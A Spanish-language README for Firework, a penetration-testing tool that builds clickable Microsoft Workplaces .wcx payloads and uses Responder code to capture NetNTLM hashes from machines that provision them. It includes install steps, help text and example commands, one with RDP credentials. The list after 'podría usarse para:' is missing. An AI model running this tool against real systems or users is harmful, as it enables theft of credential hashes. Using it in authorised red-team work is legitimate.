
Firework es una herramienta de prueba de concepto para interactuar con Microsoft Workplaces creando archivos válidos necesarios para el proceso de aprovisionamiento.
: advertencia: NOTA: Esta herramienta ya no tiene mantenimiento activo.
Firework es una herramienta de prueba de concepto para interactuar con Microsoft Workplaces, creando archivos válidos necesarios para el proceso de aprovisionamiento. La herramienta también envuelve algo de código de Responder para aprovechar su capacidad de capturar hashes NetNTLM de un sistema que aprovisiona una fuente de Workplace a través de ella.
Esta herramienta puede ser utilizada como parte de una prueba de penetración o un ejercicio de equipo rojo para crear un payload .wcx (y su fuente asociada) que, si se hace clic en él, podría usarse para:
Lea el blog de SpiderLabs para un resumen más detallado y un tutorial.
$ pip install -r requirements.txt
.-:::::'::::::::::.. .,::::::.:: . .::: ... :::::::.. ::: .
;;;'''' ;;;;;;;``;;;; ;;;;''''';;, ;; ;;;'.;;;;;;;. ;;;;``;;;; ;;; .;;,.
[[[,,== [[[ [[[,/[[[' [[cccc '[[, [[, [[',[[ \[[,[[[,/[[[' [[[[[/'
`$$$"`` $$$ $$$$$$c $$"""" Y$c$$$c$P $$$, $$$$$$$$$c _$$$$,
888 888 888b "88bo,888oo,__ "88"888 "888,_ _,88P888b "88bo,"888"88o,
"MM, MMM MMMM "W" """"YUMMM "M "M" "YMMMMMP" MMMM "W" MMM "MMP"
usage: firework.py [-h] -c COMPANY -u URL -a APP -e EXT -i ICON [-l LISTEN]
[-r RDP] [-d DOMAIN] [-n USERNAME] [-p PASSWORDHASH]
[-t CERT] [-k KEY]
Herramienta de Workplace WCX
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
-c COMPANY, --company COMPANY
Nombre de la empresa
-u URL, --url URL URL de la fuente
-a APP, --app APP Nombre de la aplicación
-e EXT, --ext EXT Extensión de la aplicación
-i ICON, --icon ICON Icono de la aplicación
-l LISTEN, --listen LISTEN
Puerto del servidor web TLS
-r RDP, --rdp RDP Servidor RDP
-d DOMAIN, --domain DOMAIN
Dominio RDP
-n USERNAME, --username USERNAME
Usuario RDP
-p PASSWORD, --password PASSWORD
Contraseña RDP
-t CERT, --cert CERT Certificado SSL
-k KEY, --key KEY Clave SSL
Ejemplo básico:
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico
El servidor web incorporado se iniciará en el puerto 443 si cert.crt y key.pem están presentes en el directorio actual. Esto forzará un desafío NTLM con responder. Si estos archivos no están presentes, la herramienta escribirá todos los archivos en el directorio local para que los alojes por tu cuenta.
Si deseas iniciar el servidor web incorporado en un puerto alternativo, usa el flag -l como se muestra a continuación:
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -l 8443
También puedes agregar algunas personalizaciones al archivo .rdp que se sirve.
Nota: Las contraseñas almacenadas en archivos .rdp probablemente se ignoran en una configuración predeterminada.
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -r dc.corp.local -d corp.local -n admin -p <contraseña cifrada>
Después de ejecutar la herramienta, se escribirá 'payload.wcx' en el directorio actual. Este archivo es el que, al hacer clic, inicia el proceso de aprovisionamiento.
Firework
Creado por David Middlehurst Copyright (C) 2018 Trustwave Holdings, Inc.
Este programa es software libre: puedes redistribuirlo y/o modificarlo bajo los términos de la Licencia Pública General de GNU tal como fue publicada por la Free Software Foundation, ya sea la versión 3 de la Licencia, o (a tu elección) cualquier versión posterior.
Este programa se distribuye con la esperanza de que sea útil, pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de COMERCIABILIDAD o ADECUACIÓN PARA UN PROPÓSITO PARTICULAR. Ver la Licencia Pública General de GNU para más detalles.